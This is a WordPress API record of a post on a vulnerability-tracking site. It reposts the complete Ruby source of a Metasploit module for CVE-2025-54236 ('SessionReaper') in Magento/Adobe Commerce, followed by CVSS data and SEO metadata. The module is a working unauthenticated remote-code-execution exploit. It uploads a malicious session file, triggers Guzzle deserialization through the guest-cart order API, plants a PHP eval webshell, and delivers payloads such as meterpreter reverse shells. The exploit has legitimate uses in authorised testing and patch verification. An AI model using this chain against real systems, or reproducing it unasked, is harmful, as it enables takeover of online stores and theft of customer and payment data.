{"id":30208,"date":"2025-12-10T13:53:24","date_gmt":"2025-12-10T13:53:24","guid":{"rendered":"http:\/\/localhost\/?p=30208"},"modified":"2025-12-10T13:53:24","modified_gmt":"2025-12-10T13:53:24","slug":"magento-sessionreaper","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30208","title":{"rendered":"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T19:05:06&#8243;,&#8221;description&#8221;:&#8221;This module exploits CVE-2025-54236 SessionReaper, a critical vulnerability in Magento\/Adobe Commerce that allows unauthenticated remote code execution. The vulnerability stems from improper handling of nested deserialization in the payment method&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T18:57:29&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T18:57:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Magento SessionReaper&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-54236&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Payload::Php\\n  include Msf::Exploit::FileDropper\\n  include Msf::Exploit::Remote::HttpClient\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Magento SessionReaper&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits CVE-2025-54236 (SessionReaper), a critical vulnerability in\\n          Magento\/Adobe Commerce that allows unauthenticated remote code execution.\\n\\n          The vulnerability stems from improper handling of nested deserialization in the\\n          payment method context, combined with an unauthenticated file upload endpoint.\\n\\n          The exploit chain consists of three steps:\\n          1. Upload a malicious PHP session file containing a Guzzle\/FW1 deserialization\\n          payload via the unauthenticated \/customer\/address_file\/upload endpoint\\n          2. Trigger deserialization by sending a crafted JSON payload to the REST API\\n          endpoint \/rest\/default\/V1\/guest-carts\/{cart_id}\/order that modifies the\\n          session savePath to point to the uploaded file\\n          3. Execute the uploaded PHP code to gain remote code execution\\n\\n          This vulnerability affects Magento 2.x instances configured to use file-based\\n          session storage. Patched versions will return a 400 Bad Request response instead\\n          of processing the malicious payload.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Blaklis&#8217;,                                    # Discovery\\n          &#8216;Tomais Williamson&#8217;,                          # Research \\u0026 Analysis\\n          &#8216;Valentin Lobstein \\u003cchocapikk[at]leakix.net\\u003e&#8217; # Metasploit module\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-54236&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/slcyber.io\/research-center\/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236\/&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/experienceleague.adobe.com\/en\/docs\/experience-cloud-kcs\/kbarticles\/ka-27397&#8217;]\\n        ],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;Platform&#8217; =\\u003e %w[php unix linux win],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_PHP, ARCH_CMD],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;PHP In-Memory&#8217;, {\\n              &#8216;Platform&#8217; =\\u003e &#8216;php&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_PHP\\n              # tested with php\/meterpreter\/reverse_tcp\\n            }\\n          ],\\n          [\\n            &#8216;Unix\/Linux Command Shell&#8217;, {\\n              &#8216;Platform&#8217; =\\u003e %w[unix linux],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD\\n              # tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n            }\\n          ],\\n          [\\n            &#8216;Windows Command Shell&#8217;, {\\n              &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD\\n              # tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n            }\\n          ]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-10-22&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n        }\\n      )\\n    )\\n  end\\n\\n  def check_404_response(body)\\n    lower = body.to_s.downcase\\n    return false unless lower.include?(&#8216;no such entity&#8217;)\\n\\n    lower.include?(&#8216;cartid&#8217;) || (lower.include?(&#8216;fieldname&#8217;) \\u0026\\u0026 lower.include?(&#8216;fieldvalue&#8217;))\\n  end\\n\\n  def check_500_response(body)\\n    lower = body.to_s.downcase\\n    return false if lower.include?(&#8216;500 internal server error&#8217;) \\u0026\\u0026 !lower.include?(&#8216;sessionhandler&#8217;)\\n\\n    lower.include?(&#8216;sessionhandler::read&#8217;) ||\\n      (lower.include?(&#8216;no such file or directory&#8217;) \\u0026\\u0026 lower.include?(&#8216;session&#8217;)) ||\\n      lower.include?(&#8216;webapi-&#8216;)\\n  end\\n\\n  def check\\n    random_path = Array.new(3) { Rex::Text.rand_text_alphanumeric(4..8) }.join(&#8216;\/&#8217;)\\n    cart_id = Rex::Text.rand_text_alphanumeric(4..8)\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(\\n        target_uri.path, &#8216;rest&#8217;, &#8216;default&#8217;, &#8216;V1&#8217;, &#8216;guest-carts&#8217;, cart_id, &#8216;order&#8217;\\n      ),\\n      &#8216;method&#8217; =\\u003e &#8216;PUT&#8217;,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;headers&#8217; =\\u003e { &#8216;Accept&#8217; =\\u003e &#8216;application\/json&#8217; },\\n      &#8216;data&#8217; =\\u003e build_deserialization_payload(random_path)\\n    })\\n\\n    return CheckCode::Unknown(&#8216;No response from target&#8217;) unless res\\n\\n    case res.code\\n    when 400\\n      return CheckCode::Safe(&#8216;Target is patched (returns 400 Bad Request)&#8217;)\\n    when 404\\n      return CheckCode::Appears(&#8216;Target returned 404 with expected error pattern&#8217;) if check_404_response(res.body)\\n    when 500\\n      return CheckCode::Appears(&#8216;Target returned 500 error with SessionHandler&#8217;) if check_500_response(res.body)\\n    end\\n\\n    CheckCode::Unknown(\\&#8221;Unexpected HTTP status: #{res.code}\\&#8221;)\\n  end\\n\\n  def exploit\\n    session_id = Rex::Text.rand_text_hex(32)\\n    session_filename = \\&#8221;sess_#{session_id}\\&#8221;\\n    session_save_dir = session_save_dir_from_filename(session_filename)\\n    exploit_filename = \\&#8221;#{Rex::Text.rand_text_alphanumeric(4..8)}.php\\&#8221;\\n    post_param = Rex::Text.rand_text_alphanumeric(4..8)\\n\\n    vprint_status(&#8216;Generating Guzzle\/FW1 deserialization payload&#8230;&#8217;)\\n    php_stub = \\&#8221;\\u003c?php @eval(base64_decode(\\\\$_POST[&#8216;#{post_param}&#8217;]));?\\u003e\\&#8221;\\n    guzzle_payload = build_guzzle_fw1_payload(\\&#8221;pub\/#{exploit_filename}\\&#8221;, php_stub)\\n\\n    vprint_status(&#8216;Uploading session file with Guzzle payload&#8230;&#8217;)\\n    uploaded_path = upload_session_file(session_id, guzzle_payload, Rex::Text.rand_text_alphanumeric(8..12))\\n    return unless uploaded_path\\n\\n    save_path = \\&#8221;media\/customer_address#{File.dirname(uploaded_path)}\\&#8221;\\n    unless trigger_deserialization(session_id, save_path)\\n      fail_with(Failure::Unknown, &#8216;Failed to trigger deserialization&#8217;)\\n    end\\n\\n    register_file_for_cleanup(exploit_filename.to_s)\\n    register_file_for_cleanup(\\&#8221;media\/customer_address\/#{session_save_dir}\/#{session_filename}\\&#8221;)\\n    register_file_for_cleanup(datastore[&#8216;FETCH_FILENAME&#8217;].to_s) if target[&#8216;Arch&#8217;] == ARCH_CMD \\u0026\\u0026 datastore[&#8216;FETCH_FILENAME&#8217;].present?\\n\\n    execute_uri = normalize_uri(target_uri.path, &#8216;pub&#8217;, exploit_filename)\\n    vprint_status(\\&#8221;Executing payload at: #{execute_uri}\\&#8221;)\\n\\n    phped_payload = target[&#8216;Arch&#8217;] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)\\n    encoded_payload = Rex::Text.encode_base64(phped_payload)\\n    send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e execute_uri,\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;data&#8217; =\\u003e \\&#8221;#{post_param}=#{Rex::Text.uri_encode(encoded_payload)}\\&#8221;,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;\\n    })\\n  end\\n\\n  def session_save_dir_from_filename(filename)\\n    \\&#8221;#{filename[0]}\/#{filename[1]}\\&#8221;\\n  end\\n\\n  def upload_session_file(session_id, content, form_key)\\n    filename = \\&#8221;sess_#{session_id}\\&#8221;\\n    vprint_status(\\&#8221;Uploading malicious session file: #{filename}\\&#8221;)\\n\\n    post_data = Rex::MIME::Message.new\\n    post_data.add_part(form_key, nil, nil, &#8216;form-data; name=\\&#8221;form_key\\&#8221;&#8216;)\\n    filename_part = &#8216;form-data; name=\\&#8221;custom_attributes[country_id]\\&#8221;; &#8216; \\\\\\n                    \\&#8221;filename=\\\\\\&#8221;#{filename}\\\\\\&#8221;\\&#8221;\\n    post_data.add_part(content, &#8216;application\/octet-stream&#8217;, nil, filename_part)\\n\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;customer&#8217;, &#8216;address_file&#8217;, &#8216;upload&#8217;),\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{post_data.bound}\\&#8221;,\\n      &#8216;cookie&#8217; =\\u003e \\&#8221;form_key=#{form_key}\\&#8221;,\\n      &#8216;data&#8217; =\\u003e post_data.to_s,\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    })\\n\\n    return nil unless res\\u0026.code == 200\\n\\n    json_response = res.get_json_document\\n    error_msg = json_response\\u0026.dig(&#8216;error&#8217;)\\n    if error_msg \\u0026\\u0026 error_msg != 0\\n      print_error(\\&#8221;Upload failed: #{error_msg}\\&#8221;)\\n      return nil\\n    end\\n\\n    return json_response[&#8216;file&#8217;] if json_response\\u0026.dig(&#8216;file&#8217;)\\n\\n    \\&#8221;\/#{session_save_dir_from_filename(filename)}\/#{filename}\\&#8221;\\n  end\\n\\n  def build_deserialization_payload(save_path)\\n    {\\n      &#8216;paymentMethod&#8217; =\\u003e {\\n        &#8216;paymentData&#8217; =\\u003e {\\n          &#8216;context&#8217; =\\u003e {\\n            &#8216;urlBuilder&#8217; =\\u003e {\\n              &#8216;session&#8217; =\\u003e {\\n                &#8216;sessionConfig&#8217; =\\u003e {\\n                  &#8216;savePath&#8217; =\\u003e save_path\\n                }\\n              }\\n            }\\n          }\\n        }\\n      }\\n    }.to_json\\n  end\\n\\n  def trigger_deserialization(session_id, save_path)\\n    vprint_status(\\&#8221;Triggering deserialization with savePath: #{save_path}\\&#8221;)\\n\\n    cart_id = Rex::Text.rand_text_alphanumeric(4..8)\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(\\n        target_uri.path, &#8216;rest&#8217;, &#8216;default&#8217;, &#8216;V1&#8217;, &#8216;guest-carts&#8217;, cart_id, &#8216;order&#8217;\\n      ),\\n      &#8216;method&#8217; =\\u003e &#8216;PUT&#8217;,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;headers&#8217; =\\u003e { &#8216;Accept&#8217; =\\u003e &#8216;application\/json&#8217; },\\n      &#8216;cookie&#8217; =\\u003e \\&#8221;PHPSESSID=#{session_id}\\&#8221;,\\n      &#8216;data&#8217; =\\u003e build_deserialization_payload(save_path)\\n    })\\n\\n    return false unless res\\u0026.code == 404 || res\\u0026.code == 500\\n\\n    vprint_good(\\&#8221;Deserialization triggered (HTTP #{res.code})\\&#8221;)\\n    true\\n  end\\n\\n  # Serialize a string to PHP binary-safe string format (S:)\\n  # Characters in printable ASCII range (32-126) except backslash and double quote are kept as-is\\n  # Other characters are escaped as \\\\xHH where HH is the hexadecimal byte value\\n  def serialize_string_ascii(str)\\n    result = str.each_byte.map do |byte|\\n      # Keep printable ASCII characters except backslash (92) and double quote (34)\\n      next byte.chr if (32..126).cover?(byte) \\u0026\\u0026 byte != 92 \\u0026\\u0026 byte != 34\\n\\n      # Escape other characters as \\\\xHH\\n      \\&#8221;\\\\\\\\#{sprintf(&#8216;%02x&#8217;, byte)}\\&#8221;\\n    end.join\\n    # PHP binary-safe string format: S:length:\\&#8221;content\\&#8221;;\\n    \\&#8221;S:#{str.length}:\\\\\\&#8221;#{result}\\\\\\&#8221;;\\&#8221;\\n  end\\n\\n  def build_guzzle_fw1_payload(target_file, php_content)\\n    escaped = \\&#8221;#{php_content}\\\\n\\&#8221;\\n    set_cookie_data = \\&#8221;a:3:{#{serialize_string_ascii(&#8216;Expires&#8217;)}i:1;\\&#8221; \\\\\\n                      \\&#8221;#{serialize_string_ascii(&#8216;Discard&#8217;)}b:0;\\&#8221; \\\\\\n                      \\&#8221;#{serialize_string_ascii(&#8216;Value&#8217;)}#{serialize_string_ascii(escaped)}}\\&#8221;\\n    set_cookie = &#8216;O:27:\\&#8221;GuzzleHttp\\\\\\\\Cookie\\\\\\\\SetCookie\\&#8221;:1:&#8217; \\\\\\n                 \\&#8221;{#{serialize_string_ascii(&#8216;data&#8217;)}#{set_cookie_data}}\\&#8221;\\n    cookies_array = \\&#8221;a:1:{i:0;#{set_cookie}}\\&#8221;\\n    file_cookie_jar = &#8216;O:31:\\&#8221;GuzzleHttp\\\\\\\\Cookie\\\\\\\\FileCookieJar\\&#8221;:4:&#8217; \\\\\\n                      \\&#8221;{#{serialize_string_ascii(&#8216;cookies&#8217;)}#{cookies_array}\\&#8221; \\\\\\n                      \\&#8221;#{serialize_string_ascii(&#8216;strictMode&#8217;)}N;\\&#8221; \\\\\\n                      \\&#8221;#{serialize_string_ascii(&#8216;filename&#8217;)}#{serialize_string_ascii(target_file)}\\&#8221; \\\\\\n                      \\&#8221;#{serialize_string_ascii(&#8216;storeSessionCookies&#8217;)}b:1;}\\&#8221;\\n    \\&#8221;_|#{file_cookie_jar}\\&#8221;\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/magento_sessionreaper.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/magento_sessionreaper\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T19:05:06&#8243;,&#8221;description&#8221;:&#8221;This module exploits CVE-2025-54236 SessionReaper, a critical vulnerability in Magento\/Adobe Commerce that allows unauthenticated remote code execution. The vulnerability stems from improper handling of nested&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,169,13,7,11,5],"class_list":["post-30208","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30208\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-10T19:05:06&#8243;,&#8221;description&#8221;:&#8221;This module exploits CVE-2025-54236 SessionReaper, a critical vulnerability in Magento\/Adobe Commerce that allows unauthenticated remote code execution. The vulnerability stems from improper handling of nested...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30208\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-10T13:53:24+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30208#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30208\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER-\",\"datePublished\":\"2025-12-10T13:53:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30208\"},\"wordCount\":1686,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.1\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30208#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30208\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30208\",\"name\":\"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-10T13:53:24+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30208#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30208\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30208#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30208","og_locale":"en_US","og_type":"article","og_title":"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-10T19:05:06&#8243;,&#8221;description&#8221;:&#8221;This module exploits CVE-2025-54236 SessionReaper, a critical vulnerability in Magento\/Adobe Commerce that allows unauthenticated remote code execution. The vulnerability stems from improper handling of nested...","og_url":"https:\/\/zero.redgem.net\/?p=30208","og_site_name":"zero redgem","article_published_time":"2025-12-10T13:53:24+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30208#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30208"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER-","datePublished":"2025-12-10T13:53:24+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30208"},"wordCount":1686,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.1","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30208#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30208","url":"https:\/\/zero.redgem.net\/?p=30208","name":"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-10T13:53:24+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30208#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30208"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30208#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Magento SessionReaper_MSF:EXPLOIT-MULTI-HTTP-MAGENTO_SESSIONREAPER-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30208","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/pos